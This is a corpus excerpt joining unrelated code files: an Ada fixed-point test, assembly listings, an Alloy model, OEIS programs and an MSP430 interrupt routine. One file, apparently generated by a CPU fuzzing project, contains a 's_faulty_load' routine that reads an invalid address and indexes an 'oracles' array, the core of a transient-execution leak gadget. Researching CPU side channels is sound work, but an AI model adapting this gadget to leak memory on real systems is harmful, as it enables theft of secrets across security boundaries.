Ada.Text_IO.Modular_IO (Modular_Short); package FIO is new Ada.Text_IO.Fixed_IO (Fixed_Sat_Short); package IIO is new Ada.Text_IO.Integer_IO (Integer); SFS1 : Fixed_Sat_Short; SFS2 : Fixed_Sat_Short; SRes : Fixed_Sat_Short; procedure Print_Operation (A, B, Res : Fixed_Sat_Short; Unary_Op : Boolean; Op : String); procedure Print_Operation (A : Fixed_Sat_Short; B : Integer; Res : Fixed_Sat_Short; Unary_Op : Boolean; Op : String); procedure Print_Operation (A, B, Res : Fixed_Sat_Short; Unary_Op : Boolean; Op : String) is begin if Unary_Op then Put (" "); else FIO.Put (Item => A, Fore => 3, Aft => 3, Exp => 0); end if; Put (" " & Op & " "); FIO.Put (Item => B, Fore => 3, Aft => 3, Exp => 0); Put (" = "); FIO.Put (Item => Res, Fore => 3, Aft => 3, Exp => 0); Put (" ("); if Unary_Op then Put (" "); else MIO.Put (Item => Fixed_Sat_Short_To_Mod_Short (A), Width => 12, Base => 16); end if; Put (" " & Op & " "); MIO.Put (Item => Fixed_Sat_Short_To_Mod_Short (B), Width => 12, Base => 16); Put (" = "); MIO.Put (Item => Fixed_Sat_Short_To_Mod_Short (Res), Width => 12, Base => 16); Put (")"); New_Line; end Print_Operation; procedure Print_Operation (A : Fixed_Sat_Short; B : Integer; Res : Fixed_Sat_Short; Unary_Op : Boolean; Op : String) is begin if Unary_Op then Put (" "); else FIO.Put (Item => A, Fore => 3, Aft => 3, Exp => 0); end if; Put (" " & Op & " "); IIO.Put (Item => B, Width => 7); Put (" = "); FIO.Put (Item => Res, Fore => 3, Aft => 3, Exp => 0); Put (" ("); if Unary_Op then Put (" "); else MIO.Put (Item => Fixed_Sat_Short_To_Mod_Short (A), Width => 12, Base => 16); end if; Put (" " & Op & " "); IIO.Put (Item => B, Width => 12); Put (" = "); MIO.Put (Item => Fixed_Sat_Short_To_Mod_Short (Res), Width => 12, Base => 16); Put (")"); New_Line; end Print_Operation; begin Put_Line ("TEST: Fixed_Test_Sat_Short"); SFS1 := 0.5 / 2**3; SFS2 := 0.5 / 2**3; for I in 0 .. 3 loop SRes := SFS1 + SFS2; Print_Operation (SFS1, SFS2, SRes, False, " + "); SFS1 := SFS1 * 2; SFS2 := SFS2 * 2; end loop; SFS1 := 0.25 / 2**3; SFS2 := 0.5 / 2**3; for I in 0 .. 4 loop SRes := SFS1 - SFS2; Print_Operation (SFS1, SFS2, SRes, False, " - "); SFS1 := SFS1 * 2; SFS2 := SFS2 * 2; end loop; SFS1 := -0.5 / 2**3; SFS2 := 0.25 / 2**3; for I in 0 .. 4 loop SRes := SFS1 - SFS2; Print_Operation (SFS1, SFS2, SRes, False, " - "); SFS1 := SFS1 * 2; SFS2 := SFS2 * 2; end loop; SFS1 := 0.0; SFS2 := 0.25 / 2**3; for I in 0 .. 4 loop SRes := -SFS2; Print_Operation (SFS1, SFS2, SRes, True, " - "); SFS2 := SFS2 * 2; end loop; SFS1 := 0.0; SFS2 := -0.25 / 2**3; for I in 0 .. 4 loop SRes := abs SFS2; Print_Operation (SFS1, SFS2, SRes, True, "abs"); SFS2 := SFS2 * 2; end loop; SFS1 := -0.5 / 2**3; SFS2 := -0.5 / 2**3; for I in 0 .. 4 loop SRes := SFS1 * SFS2; Print_Operation (SFS1, SFS2, SRes, False, " * "); SFS1 := SFS1 * 2; SFS2 := SFS2 * 2; end loop; SFS1 := 0.5 / 2**3; SFS2 := 0.5 / 2**3; for I in 0 .. 3 loop SRes := SFS1 * SFS2; Print_Operation (SFS1, SFS2, SRes, False, " * "); SFS1 := SFS1 * 2; SFS2 := SFS2 * 2; end loop; SFS1 := Fixed_Sat_Short'Last; SFS2 := Fixed_Sat_Short'Last; SRes := SFS1 * SFS2; Print_Operation (SFS1, SFS2, SRes, False, " * "); declare I1 : Integer := 1; begin SFS1 := 0.25; for I in 1 .. 5 loop SRes := SFS1 * I1; Print_Operation (SFS1, I1, SRes, False, " * "); I1 := I1 + 1; end loop; end; declare I1 : Integer := -1; begin SFS1 := 0.25; for I in 1 .. 5 loop SRes := SFS1 * I1; Print_Operation (SFS1, I1, SRes, False, " * "); I1 := I1 - 1; end loop; end; SFS1 := 0.25 / 2**3; SFS2 := 0.5 / 2**3; for I in 0 .. 3 loop SRes := SFS1 / SFS2; Print_Operation (SFS1, SFS2, SRes, False, " / "); SFS1 := SFS1 * 2; SFS2 := SFS2 * 2; end loop; SFS1 := -0.25 / 2**3; SFS2 := 0.5 / 2**3; for I in 0 .. 3 loop SRes := SFS1 / SFS2; Print_Operation (SFS1, SFS2, SRes, False, " / "); SFS1 := SFS1 * 2; SFS2 := SFS2 * 2; end loop; Put_Line ("--------------------------------------------------------"); end Fixed_Test_Sat_Short; begin Fixed_Test_Sat_Long; Fixed_Test_Long; Fixed_Test_Sat_Short; Fixed_Test_Short; end Fixed_Types_Test;
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0_notsx.log_21829_1021.asm
ljhsiun2/medusa
9
88618
<filename>Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0_notsx.log_21829_1021.asm .global s_prepare_buffers s_prepare_buffers: push %r11 push %rbx push %rcx push %rdi push %rsi lea addresses_WT_ht+0x187d1, %rsi lea addresses_WC_ht+0xe935, %rdi nop nop nop sub $5770, %r11 mov $46, %rcx rep movsb nop nop nop nop nop cmp $20407, %rcx lea addresses_UC_ht+0x1d511, %rsi lea addresses_UC_ht+0xf251, %rdi inc %rbx mov $88, %rcx rep movsb nop nop nop nop and $5926, %rcx pop %rsi pop %rdi pop %rcx pop %rbx pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r8 push %rbp push %rdx // Faulty Load mov $0x7da6180000000a51, %rdx add %r8, %r8 mov (%rdx), %r10d lea oracles, %r12 and $0xff, %r10 shlq $12, %r10 mov (%r12,%r10,1), %r10 pop %rdx pop %rbp pop %r8 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 4, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}} {'src': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': True}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
test/filters-cases/icc.hellow.asm
OfekShilon/compiler-explorer
4,668
87589
.section .text .LNDBG_TX: # mark_description "Intel(R) C Intel(R) 64 Compiler XE for applications running on Intel(R) 64, Version 12.1 Build 20120410"; .file "iccKTGaIssTdIn_" .text ..TXTST0: # -- Begin main # mark_begin; .align 16,0x90 .globl main main: ..B1.1: # Preds ..B1.0 ..___tag_value_main.2: # ..LN0: .file 1 "-" .loc 1 2 is_stmt 1 pushq %rbp #2.12 ..___tag_value_main.4: # ..LN1: movq %rsp, %rbp #2.12 ..___tag_value_main.5: # ..LN2: andq $-128, %rsp #2.12 ..LN3: subq $128, %rsp #2.12 ..LN4: movl $3, %edi #2.12 ..___tag_value_main.8: #2.12 ..LN5: call __intel_new_proc_init #2.12 ..___tag_value_main.9: # ..LN6: # LOE rbx r12 r13 r14 r15 ..B1.6: # Preds ..B1.1 ..LN7: stmxcsr (%rsp) #2.12 ..LN8: .loc 1 3 is_stmt 1 movl $.L_2__STRING.0, %edi #3.1 ..LN9: xorl %eax, %eax #3.1 ..LN10: .loc 1 2 is_stmt 1 orl $32832, (%rsp) #2.12 ..LN11: ldmxcsr (%rsp) #2.12 ..___tag_value_main.10: #3.1 ..LN12: .loc 1 3 is_stmt 1 call printf #3.1 ..___tag_value_main.11: # ..LN13: # LOE rbx r12 r13 r14 r15 ..B1.2: # Preds ..B1.6 ..LN14: .loc 1 4 is_stmt 1 movl $.L_2__STRING.1, %edi #4.3 ..LN15: xorl %eax, %eax #4.3 ..___tag_value_main.12: #4.3 ..LN16: call printf #4.3 ..___tag_value_main.13: # ..LN17: # LOE rbx r12 r13 r14 r15 ..B1.3: # Preds ..B1.2 ..LN18: .loc 1 5 is_stmt 1 xorl %eax, %eax #5.1 ..LN19: movq %rbp, %rsp #5.1 ..LN20: popq %rbp #5.1 ..___tag_value_main.15: # ..LN21: ret #5.1 .align 16,0x90 ..___tag_value_main.19: # ..LN22: # LOE ..LN23: # mark_end; .type main,@function .size main,.-main ..LNmain.24: .LNmain: .data # -- End main .section .rodata.str1.4, "aMS",@progbits,1 .align 4 .align 4 .L_2__STRING.0: .byte 72 .byte 101 .byte 108 .byte 108 .byte 111 .byte 32 .byte 119 .byte 111 .byte 114 .byte 108 .byte 100 .byte 0 .type .L_2__STRING.0,@object .size .L_2__STRING.0,12 .align 4 .L_2__STRING.1: .byte 109 .byte 111 .byte 111 .byte 10 .byte 0 .type .L_2__STRING.1,@object .size .L_2__STRING.1,5 .data .section .note.GNU-stack, "" // -- Begin DWARF2 SEGMENT .debug_info .section .debug_info .debug_info_seg: .align 1 .4byte 0x000000fe .2byte 0x0002 .4byte .debug_abbrev_seg .byte 0x08 // DW_TAG_compile_unit: .byte 0x01 // DW_AT_comp_dir: .8byte 0x676d2f656d6f682f .8byte 0x642f746c6f62646f .8byte 0x652d6363672f7665 .8byte 0x007265726f6c7078 // DW_AT_language: .byte 0x04 // DW_AT_producer: .8byte 0x2952286c65746e49 .8byte 0x6c65746e49204320 .8byte 0x4320343620295228 .8byte 0x2072656c69706d6f .8byte 0x6120726f66204558 .8byte 0x69746163696c7070 .8byte 0x6e6e757220736e6f .8byte 0x49206e6f20676e69 .8byte 0x202952286c65746e .8byte 0x73726556202c3436 .8byte 0x312e3231206e6f69 .8byte 0x3220646c69754220 .8byte 0x0a30313430323130 .8byte 0x5320736578694620 .8byte 0x616b6e694c656d61 .8byte 0x4d20656d614e6567 .8byte 0x696f507265626d65 .4byte 0x7265746e .2byte 0x0a73 .byte 0x00 // DW_AT_stmt_list: .4byte .debug_line_seg // DW_TAG_namespace: .byte 0x02 // DW_AT_name: .4byte 0x00647473 // DW_TAG_namespace: .byte 0x02 // DW_AT_name: .8byte 0x6962617878635f5f .2byte 0x3176 .byte 0x00 // DW_TAG_base_type: .byte 0x03 // DW_AT_byte_size: .byte 0x04 // DW_AT_encoding: .byte 0x05 // DW_AT_name: .4byte 0x00746e69 // DW_TAG_subprogram: .byte 0x04 // DW_AT_decl_line: .byte 0x02 // DW_AT_decl_column: .byte 0x05 // DW_AT_decl_file: .byte 0x01 // DW_AT_inline: .byte 0x00 // DW_AT_accessibility: .byte 0x01 // DW_AT_type: .4byte 0x000000d1 // DW_AT_prototyped: .byte 0x01 // DW_AT_name: .4byte 0x6e69616d .byte 0x00 .4byte 0x6e69616d .byte 0x00 // DW_AT_low_pc: .8byte main // DW_AT_high_pc: .8byte ..LNmain.24 // DW_AT_external: .byte 0x01 .byte 0x00 .byte 0x00 .byte 0x00 .byte 0x00 // -- Begin DWARF2 SEGMENT .debug_line .section .debug_line .debug_line_seg: .align 1 // -- Begin DWARF2 SEGMENT .debug_abbrev .section .debug_abbrev .debug_abbrev_seg: .align 1 .byte 0x01 .byte 0x11 .byte 0x01 .byte 0x1b .byte 0x08 .byte 0x13 .byte 0x0b .byte 0x25 .byte 0x08 .byte 0x10 .byte 0x06 .2byte 0x0000 .byte 0x02 .byte 0x39 .byte 0x00 .byte 0x03 .byte 0x08 .2byte 0x0000 .byte 0x03 .byte 0x24 .byte 0x00 .byte 0x0b .byte 0x0b .byte 0x3e .byte 0x0b .byte 0x03 .byte 0x08 .2byte 0x0000 .byte 0x04 .byte 0x2e .byte 0x00 .byte 0x3b .byte 0x0b .byte 0x39 .byte 0x0b .byte 0x3a .byte 0x0b .byte 0x20 .byte 0x0b .byte 0x32 .byte 0x0b .byte 0x49 .byte 0x13 .byte 0x27 .byte 0x0c .byte 0x03 .byte 0x08 .2byte 0x4087 .byte 0x08 .byte 0x11 .byte 0x01 .byte 0x12 .byte 0x01 .byte 0x3f .byte 0x0c .2byte 0x0000 .byte 0x00 // -- Begin DWARF2 SEGMENT .debug_frame .section .debug_frame .debug_frame_seg: .align 1 .4byte 0x00000014 .8byte 0x78010001ffffffff .8byte 0x0000019008070c10 .4byte 0x00000000 .4byte 0x00000034 .4byte .debug_frame_seg .8byte ..___tag_value_main.2 .8byte ..___tag_value_main.19-..___tag_value_main.2 .byte 0x04 .4byte ..___tag_value_main.4-..___tag_value_main.2 .2byte 0x100e .byte 0x04 .4byte ..___tag_value_main.5-..___tag_value_main.4 .4byte 0x8610060c .2byte 0x0402 .4byte ..___tag_value_main.15-..___tag_value_main.5 .8byte 0x00000000c608070c .2byte 0x0000 // -- Begin DWARF2 SEGMENT .eh_frame .section .eh_frame,"a",@progbits .eh_frame_seg: .align 8 .4byte 0x0000001c .8byte 0x00507a0100000000 .4byte 0x09107801 .byte 0x00 .8byte __gxx_personality_v0 .4byte 0x9008070c .2byte 0x0001 .byte 0x00 .4byte 0x00000034 .4byte 0x00000024 .8byte ..___tag_value_main.2 .8byte ..___tag_value_main.19-..___tag_value_main.2 .2byte 0x0400 .4byte ..___tag_value_main.4-..___tag_value_main.2 .2byte 0x100e .byte 0x04 .4byte ..___tag_value_main.5-..___tag_value_main.4 .4byte 0x8610060c .2byte 0x0402 .4byte ..___tag_value_main.15-..___tag_value_main.5 .8byte 0x00000000c608070c .byte 0x00 .section .text .LNDBG_TXe: # End
alloy4fun_models/trashltl/models/11/DxEyQKAQZpWYg4HuP.als
Kaixi26/org.alloytools.alloy
0
1849
<gh_stars>0 open main pred idDxEyQKAQZpWYg4HuP_prop12 { eventually all f:File | f in Trash implies f in Trash' } pred __repair { idDxEyQKAQZpWYg4HuP_prop12 } check __repair { idDxEyQKAQZpWYg4HuP_prop12 <=> prop12o }
oeis/213/A213588.asm
neoneye/loda-programs
11
10472
; A213588: Principal diagonal of the convolution array A213587. ; Submitted by <NAME> ; 1,7,27,96,315,994,3043,9123,26909,78370,225911,645732,1832677,5170111,14509695,40537284,112805043,312808198,864707719,2383649115,6554153921,17980221382,49222822127,134495771976,366850762825,999007796599,2716440198243,7376164231848,20003339227179,54181862205610,146594986927531,396213308434707,1069822828411877,2885978637049066,7778505573444455,20947992095163564,56370440256974893,151579783298667823,407313303962820039,1093776856938259980,2935323057573571491,7872692959598821582,21102951961950382927 add $0,1 mov $3,$0 mov $4,1 lpb $3 mul $4,$3 add $1,$4 add $1,$2 cmp $4,0 add $2,$4 add $2,$1 sub $3,1 lpe mov $0,$2
libsrc/vz/vz_mode.asm
dex4er/deb-z88dk
1
86806
<filename>libsrc/vz/vz_mode.asm ;***************************************************** ; ; Video Technology library for small C compiler ; ; <NAME> ; ;***************************************************** ; ----- void __FASTCALL__ vz_mode(int n) XLIB vz_mode .vz_mode ld a,h or l ld hl,$783b ld a,(hl) jr nz, mode1 .mode0 and $f7 ; res 3,a ld (hl),a ld ($6800),a jp $01c9 ; cls .mode1 or $08 ; set 3,a ld (hl),a ld ($6800),a ld hl,$7000 ld de,$7001 ld bc,$7ff ld (hl),0 ldir ret
tests/simple_test.asm
MIPT-ILab/mdsp
2
167771
label: brm %r0, (%r1) brm (%r0), %r1 brr %r0, %r1 ld $100, %r0 ld $100, (%r0) add %r0, %r1, %r2 add (%r0), (%r1), (%r2) hlt
timerA1_isr.asm
spqr/umichmoo
7
4007
/////////////////////////////////////////////////////////////////////////////// // / // IAR C/C++ Compiler V5.10.6.50180/W32 for MSP430 03/Aug/2012 15:07:54 / // Copyright 1996-2010 IAR Systems AB. / // / // __rt_version = 3 / // __double_size = 32 / // __reg_r4 = regvar / // __reg_r5 = regvar / // __pic = no / // __core = 430X / // __data_model = small / // Source file = C:\Documents and Settings\Addison / // Mayberry\Desktop\moofirmwaredev\build_timera1_isr.c / // Command line = "C:\Documents and Settings\Addison / // Mayberry\Desktop\moofirmwaredev\build_timera1_isr.c" / // -lcN "C:\Documents and Settings\Addison / // Mayberry\Desktop\moofirmwaredev\Debug\List\" -la / // "C:\Documents and Settings\Addison / // Mayberry\Desktop\moofirmwaredev\Debug\List\" -o / // "C:\Documents and Settings\Addison / // Mayberry\Desktop\moofirmwaredev\Debug\Obj\" --no_cse / // --no_unroll --no_inline --no_code_motion --no_tbaa / // --debug -D__MSP430F2618__ -e --double=32 / // --dlib_config "C:\Program Files\IAR Systems\Embedded / // Workbench 6.0\430\LIB\DLIB\dl430xsfn.h" --regvar_r4 / // --regvar_r5 --core=430X --data_model=small -Ol / // --multiplier=16s / // List file = C:\Documents and Settings\Addison / // Mayberry\Desktop\moofirmwaredev\Debug\List\build_timer / // a1_isr.s43 / // / // / /////////////////////////////////////////////////////////////////////////////// NAME timerA1_isr RTMODEL "__SystemLibrary", "DLib" RTMODEL "__core", "430X" RTMODEL "__data_model", "small" RTMODEL "__double_size", "32" RTMODEL "__pic", "no" RTMODEL "__reg_r4", "regvar" RTMODEL "__reg_r5", "regvar" RTMODEL "__rt_version", "3" RSEG CSTACK:DATA:SORT:NOROOT(0) PUBWEAK `??TimerA1_ISR??INTVEC 48` PUBWEAK TACCR1 PUBWEAK TACCTL1 PUBWEAK TAR PUBLIC TimerA1_ISR FUNCTION TimerA1_ISR,080233H ARGFRAME CSTACK, 0, STACK LOCFRAME CSTACK, 4, STACK PUBLIC timera1_isr_decls FUNCTION timera1_isr_decls,0201H ARGFRAME CSTACK, 0, STACK LOCFRAME CSTACK, 4, STACK CFI Names cfiNames0 CFI StackFrame CFA SP DATA CFI Resource PC:20, SP:20, SR:16, R4L:16, R4H:4, R4:20, R5L:16, R5H:4 CFI Resource R5:20, R6L:16, R6H:4, R6:20, R7L:16, R7H:4, R7:20, R8L:16 CFI Resource R8H:4, R8:20, R9L:16, R9H:4, R9:20, R10L:16, R10H:4 CFI Resource R10:20, R11L:16, R11H:4, R11:20, R12L:16, R12H:4, R12:20 CFI Resource R13L:16, R13H:4, R13:20, R14L:16, R14H:4, R14:20, R15L:16 CFI Resource R15H:4, R15:20 CFI ResourceParts R4 R4H, R4L CFI ResourceParts R5 R5H, R5L CFI ResourceParts R6 R6H, R6L CFI ResourceParts R7 R7H, R7L CFI ResourceParts R8 R8H, R8L CFI ResourceParts R9 R9H, R9L CFI ResourceParts R10 R10H, R10L CFI ResourceParts R11 R11H, R11L CFI ResourceParts R12 R12H, R12L CFI ResourceParts R13 R13H, R13L CFI ResourceParts R14 R14H, R14L CFI ResourceParts R15 R15H, R15L CFI EndNames cfiNames0 CFI Common cfiCommon0 Using cfiNames0 CFI CodeAlign 2 CFI DataAlign 2 CFI ReturnAddress PC CODE CFI CFA SP+4 CFI PC Frame(CFA, -4) CFI SR Undefined CFI R4L SameValue CFI R4H 0 CFI R4 Concat CFI R5L SameValue CFI R5H 0 CFI R5 Concat CFI R6L SameValue CFI R6H 0 CFI R6 Concat CFI R7L SameValue CFI R7H 0 CFI R7 Concat CFI R8L SameValue CFI R8H 0 CFI R8 Concat CFI R9L SameValue CFI R9H 0 CFI R9 Concat CFI R10L SameValue CFI R10H 0 CFI R10 Concat CFI R11L SameValue CFI R11H 0 CFI R11 Concat CFI R12L Undefined CFI R12H Undefined CFI R12 Undefined CFI R13L Undefined CFI R13H Undefined CFI R13 Undefined CFI R14L Undefined CFI R14H Undefined CFI R14 Undefined CFI R15L Undefined CFI R15H Undefined CFI R15 Undefined CFI EndCommon cfiCommon0 CFI Common cfiCommon1 Using cfiNames0 CFI CodeAlign 2 CFI DataAlign 2 CFI ReturnAddress PC CODE CFI CFA SP+4 CFI PC or(add(CFA, literal(-4)), lshift(add(CFA, literal(-2)), 4)) CFI SR Frame(CFA, -4) CFI R4L SameValue CFI R4H 0 CFI R4 Concat CFI R5L SameValue CFI R5H 0 CFI R5 Concat CFI R6L SameValue CFI R6H 0 CFI R6 Concat CFI R7L SameValue CFI R7H 0 CFI R7 Concat CFI R8L SameValue CFI R8H 0 CFI R8 Concat CFI R9L SameValue CFI R9H 0 CFI R9 Concat CFI R10L SameValue CFI R10H 0 CFI R10 Concat CFI R11L SameValue CFI R11H 0 CFI R11 Concat CFI R12L SameValue CFI R12H 0 CFI R12 Concat CFI R13L SameValue CFI R13H 0 CFI R13 Concat CFI R14L SameValue CFI R14H 0 CFI R14 Concat CFI R15L SameValue CFI R15H 0 CFI R15 Concat CFI EndCommon cfiCommon1 TimerA1_ISR SYMBOL "TimerA1_ISR" `??TimerA1_ISR??INTVEC 48` SYMBOL "??INTVEC 48", TimerA1_ISR EXTERN TRcal EXTERN bits ASEGN DATA16_AN:DATA:NOROOT,0164H // unsigned short volatile TACCTL1 TACCTL1: DS8 2 ASEGN DATA16_AN:DATA:NOROOT,0170H // unsigned short volatile TAR TAR: DS8 2 ASEGN DATA16_AN:DATA:NOROOT,0174H // unsigned short volatile TACCR1 TACCR1: DS8 2 // This is needed to make the inline assembly compile properly w/ this symbol RSEG CODE:CODE:REORDER:NOROOT(1) timera1_isr_decls: CFI Block cfiBlock0 Using cfiCommon0 CFI Function timera1_isr_decls MOV.W &0x174, R15 RETA CFI EndBlock cfiBlock0 REQUIRE TACCR1 //************************************************************************* //************************ Timer INTERRUPT ******************************* // Pin Setup : P1.2 // Description : RSEG ISR_CODE:CODE:REORDER:NOROOT(1) TimerA1_ISR: CFI Block cfiBlock1 Using cfiCommon1 CFI Function TimerA1_ISR // (6 cycles) to enter interrupt MOV TACCR1, R7 // move TACCR1 to R7(count) register (3 CYCLES) MOV.W #0x0, &0x170 // reset timer (4 cycles) BIC.W #0x1, &0x164 // must manually clear interrupt flag (4 cycles) //<------up to here 26 cycles + 6 cyles of Interrupt == 32 cycles --------> CMP #0003h, R5 // if (bits >= 3). it will do store bits JGE bit_Is_Over_Three // bit is not 3 CMP #0002h, R5 // if ( bits == 2) JEQ bit_Is_Two // if (bits == 2). // <----------------- bit is not 2 -------------------------------> CMP #0001h, R5 // if (bits == 1) -- measure RTcal value. JEQ bit_Is_One // bits == 1 // <-------------------- this is bit == 0 case ---------------------> bit_Is_Zero_In_Timer_Int: CLR R6 INC R5 // bits++ RETI // <------------------- end of bit 0 ---------------------------> // <-------------------- this is bit == 1 case ---------------------> bit_Is_One: // bits == 1. calculate RTcal value MOV R7, R9 // 1 cycle RRA R7 // R7(count) is divided by 2. 1 cycle MOV #0FFFFh, R8 // R8(pivot) is set to max value 1 cycle SUB R7, R8 // R8(pivot) = R8(pivot) -R7(count/2) make new R8(pivot) value 1 cycle INC R5 // bits++ CLR R6 RETI // <------------------ end of bit 1 ------------------------------> // <-------------------- this is bit == 2 case ---------------------> bit_Is_Two: CMP R9, R7 // if (count > (R9)(180)) this is hardcoded number, so have to change to proper value JGE this_Is_TRcal // this is data this_Is_Data_Bit: ADD R8, R7 // count = count + pivot ADDC.b @R4+,-1(R4) // roll left (emulated by adding to itself == multiply by 2 + carry) INC R6 CMP #0008,R6 // undo increment of dest* (R4) until we have 8 bits JGE out_p DEC R4 out_p: // decrement R4 if we haven't gotten 16 bits yet (3 or 4 cycles) BIC #0008h,R6 // when R6=8, this will set R6=0 (1 cycle) INC R5 RETI // <------------------ end of bit 2 ------------------------------> this_Is_TRcal: MOV R7, R5 // bits = count. use bits(R5) to assign new value ofvTRcal MOV.W R5, &TRcal // assign new value (4 cycles) MOV #0003h, R5 // bits = 3..assign 3 to bits, so it will keep track of current bits (2 cycles) CLR R6 // (1 cycle) RETI // <------------- this is bits >= 3 case -----------------------> bit_Is_Over_Three: // bits >= 3 , so store bits ADD R8, R7 // R7(count) = R8(pivot) + R7(count), // store bit by shifting carry flag into cmd[bits]=(dest*) and increment // dest* (5 cycles) ADDC.b @R4+,-1(R4) // roll left (emulated by adding to itself == multiply by 2 + carry) INC R6 CMP #0008,R6 // undo increment of dest* (R4) until we have 8 bits JGE out_p1 DEC R4 out_p1: // decrement R4 if we haven't gotten 16 bits yet (3 or 4 cycles) BIC #0008h,R6 // when R6=8, this will set R6=0 (1 cycle) INC R5 // bits++ RETI // <------------------ end of bit is over 3 ------------------------------> CFI EndBlock cfiBlock1 REQUIRE TAR REQUIRE TACCTL1 REQUIRE bits COMMON INTVEC:CONST:ROOT(1) ORG 48 `??TimerA1_ISR??INTVEC 48`: DC16 TimerA1_ISR END // // 6 bytes in segment CODE // 6 bytes in segment DATA16_AN // 2 bytes in segment INTVEC // 106 bytes in segment ISR_CODE // // 112 bytes of CODE memory // 0 bytes of CONST memory (+ 2 bytes shared) // 0 bytes of DATA memory (+ 6 bytes shared) // //Errors: none //Warnings: none
programs/oeis/052/A052756.asm
neoneye/loda
22
80528
<filename>programs/oeis/052/A052756.asm<gh_stars>10-100 ; A052756: E.g.f.: (-1/3)*LambertW(-3*x). ; 0,1,6,81,1728,50625,1889568,85766121,4586471424,282429536481,19683000000000,1531578985264449,131621703842267136,12381557655576425121,1265437718438866624512,139628860198736572265625,16543163447903718821855232,2094704750199298376445300801,282288975128239507545882230784,40341068970691068873250369779249,6093597400104960000000000000000000,970087679866349716790969219380140801 mov $1,$0 sub $1,1 trn $2,$1 add $0,$2 mul $0,3 pow $0,$1
programs/oeis/255/A255847.asm
neoneye/loda
22
104199
; A255847: a(n) = 2*n^2 + 16. ; 16,18,24,34,48,66,88,114,144,178,216,258,304,354,408,466,528,594,664,738,816,898,984,1074,1168,1266,1368,1474,1584,1698,1816,1938,2064,2194,2328,2466,2608,2754,2904,3058,3216,3378,3544,3714,3888,4066,4248,4434,4624 pow $0,2 mul $0,2 add $0,16
z80unit/examples/try_block_asserts.asm
hallorant/bitmit
6
89574
